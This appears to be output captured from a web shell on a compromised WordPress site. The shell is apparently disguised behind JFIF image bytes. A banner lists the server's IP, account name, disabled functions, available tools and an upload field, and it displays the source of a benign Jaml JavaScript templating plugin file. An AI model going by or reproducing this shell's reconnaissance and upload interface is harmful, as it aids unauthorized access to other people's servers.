????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/peekmysite.com/wp-content/plugins/motopress-content-editor/jquery/view/jaml/ |
Upload File : |
steal("jquery/view").then(function(){ /** * @class Jaml * @plugin jquery/view/jaml * @parent jQuery.View * @author Ed Spencer (http://edspencer.net) * Jaml is a simple JavaScript library which makes * HTML generation easy and pleasurable. * * Instead of magic tags, Jaml is pure JS. It looks like: * * @codestart * function(data) { * h3(data.message); * } * @codeend * * Jaml is integrated into jQuery.View so you can use it like: * * @codestart * $("#foo").html('//app/views/template.jaml',{}); * @codeend * * ## Use * * For more info check out: * * - [http://edspencer.net/2009/11/jaml-beautiful-html-generation-for-javascript.html introduction] * - [http://edspencer.github.com/jaml examples] * */ Jaml = function() { return { templates: {}, helpers : {}, /** * Registers a template by name * @param {String} name The name of the template * @param {Function} template The template function */ register: function(name, template ) { this.templates[name] = template; }, /** * Renders the given template name with an optional data object * @param {String} name The name of the template to render * @param {Object} data Optional data object */ render: function(name, data ) { var template = this.templates[name], renderer = new Jaml.Template(template); return renderer.render(data); }, /** * Registers a helper function * @param {String} name The name of the helper * @param {Function} helperFn The helper function */ registerHelper: function(name, helperFn ) { this.helpers[name] = helperFn; } }; }(); /** * @class * @constructor * @param {String} tagName The tag name this node represents (e.g. 'p', 'div', etc) */ Jaml.Node = function(tagName) { /** * @attribute tagName * @type String * This node's current tag */ this.tagName = tagName; /** * @attribute attributes * @type Object * Sets of attributes on this node (e.g. 'cls', 'id', etc) */ this.attributes = {}; /** * @attribute children * @type Array * Array of rendered child nodes that will be steald as this node's innerHTML */ this.children = []; }; Jaml.Node.prototype = { /** * Adds attributes to this node * @param {Object} attrs Object containing key: value pairs of node attributes */ setAttributes: function(attrs ) { for (var key in attrs) { //convert cls to class var mappedKey = key == 'cls' ? 'class' : key; this.attributes[mappedKey] = attrs[key]; } }, /** * Adds a child string to this node. This can be called as often as needed to add children to a node * @param {String} childText The text of the child node */ addChild: function(childText ) { this.children.push(childText); }, /** * Renders this node with its attributes and children * @param {Number} lpad Amount of whitespace to add to the left of the string (defaults to 0) * @return {String} The rendered node */ render: function(lpad ) { lpad = lpad || 0; var node = [], attrs = [], textnode = (this instanceof Jaml.TextNode), multiline = this.multiLineTag(); for (var key in this.attributes) { attrs.push(key + '=' + this.attributes[key]); } //add any left padding if (!textnode) node.push(this.getPadding(lpad)); //open the tag node.push("<" + this.tagName); //add any tag attributes for (var key in this.attributes) { node.push(" " + key + "=\"" + this.attributes[key] + "\""); } if (this.isSelfClosing()) { node.push(" />\n"); } else { node.push(">"); if (multiline) node.push("\n"); for (var i=0; i < this.children.length; i++) { node.push(this.children[i].render(lpad + 2)); } if (multiline) node.push(this.getPadding(lpad)); node.push("</", this.tagName, ">\n"); } return node.join(""); }, /** * Returns true if this tag should be rendered with multiple newlines (e.g. if it contains child nodes) * @return {Boolean} True to render this tag as multi-line */ multiLineTag: function() { var childLength = this.children.length, multiLine = childLength > 0; if (childLength == 1 && this.children[0] instanceof Jaml.TextNode) multiLine = false; return multiLine; }, /** * Returns a string with the given number of whitespace characters, suitable for padding * @param {Number} amount The number of whitespace characters to add * @return {String} A padding string */ getPadding: function(amount ) { return new Array(amount + 1).join(" "); }, /** * Returns true if this tag should close itself (e.g. no </tag> element) * @return {Boolean} True if this tag should close itself */ isSelfClosing: function() { var selfClosing = false; for (var i = this.selfClosingTags.length - 1; i >= 0; i--){ if (this.tagName == this.selfClosingTags[i]) selfClosing = true; } return selfClosing; }, /** * @attribute selfClosingTags * @type Array * An array of all tags that should be self closing */ selfClosingTags: ['img', 'meta', 'br', 'hr'] }; Jaml.TextNode = function(text) { this.text = text; }; Jaml.TextNode.prototype = { render: function() { return this.text; } }; /** * Represents a single registered template. Templates consist of an arbitrary number * of trees (e.g. there may be more than a single root node), and are not compiled. * When a template is rendered its node structure is computed with any provided template * data, culminating in one or more root nodes. The root node(s) are then joined together * and returned as a single output string. * * The render process uses two dirty but necessary hacks. First, the template function is * decompiled into a string (but is not modified), so that it can be eval'ed within the scope * of Jaml.Template.prototype. This allows the second hack, which is the use of the 'with' keyword. * This allows us to keep the pretty DSL-like syntax, though is not as efficient as it could be. */ Jaml.Template = function(tpl) { /** * @attribute tpl * @type Function * The function this template was created from */ this.tpl = tpl; this.nodes = []; }; Jaml.Template.prototype = { /** * Renders this template given the supplied data * @param {Object} data Optional data object * @return {String} The rendered HTML string */ render: function(data ) { data = data || {}; //the 'data' argument can come in two flavours - array or non-array. Normalise it //here so that it always looks like an array. if (data.constructor.toString().indexOf("Array") == -1) { data = [data]; } with(this) { for (var i=0; i < data.length; i++) { eval("(" + this.tpl.toString() + ")(data[i])"); }; } var roots = this.getRoots(), output = ""; for (var i=0; i < roots.length; i++) { output += roots[i].render(); }; return output; }, /** * Returns all top-level (root) nodes in this template tree. * Templates are tree structures, but there is no guarantee that there is a * single root node (e.g. a single DOM element that all other elements nest within) * @return {Array} The array of root nodes */ getRoots: function() { var roots = []; for (var i=0; i < this.nodes.length; i++) { var node = this.nodes[i]; if (node.parent == undefined) roots.push(node); }; return roots; }, tags: [ "html", "head", "body", "script", "meta", "title", "link", "script", "div", "p", "span", "a", "img", "br", "hr", "table", "tr", "th", "td", "thead", "tbody", "ul", "ol", "li", "dl", "dt", "dd", "h1", "h2", "h3", "h4", "h5", "h6", "h7", "form", "input", "label" ] }; /** * Adds a function for each tag onto Template's prototype */ (function() { var tags = Jaml.Template.prototype.tags; for (var i = tags.length - 1; i >= 0; i--){ var tagName = tags[i]; /** * This function is created for each tag name and assigned to Template's * prototype below */ var fn = function(tagName) { return function(attrs) { var node = new Jaml.Node(tagName); var firstArgIsAttributes = (typeof attrs == 'object') && !(attrs instanceof Jaml.Node) && !(attrs instanceof Jaml.TextNode); if (firstArgIsAttributes) node.setAttributes(attrs); var startIndex = firstArgIsAttributes ? 1 : 0; for (var i=startIndex; i < arguments.length; i++) { var arg = arguments[i]; if (typeof arg == "string" || arg == undefined) { arg = new Jaml.TextNode(arg || ""); } if (arg instanceof Jaml.Node || arg instanceof Jaml.TextNode) { arg.parent = node; } node.addChild(arg); }; this.nodes.push(node); return node; }; }; Jaml.Template.prototype[tagName] = fn(tagName); }; })(); $.View.register({ suffix : "jaml", script: function(id, str ) { return "((function(){ Jaml.register("+id+", "+str+"); return function(data){return Jaml.render("+id+", data)} })())" }, renderer: function(id, text ) { var func; eval("func = ("+text+")"); Jaml.register(id, func); return function(data){ return Jaml.render(id, data) } } }) });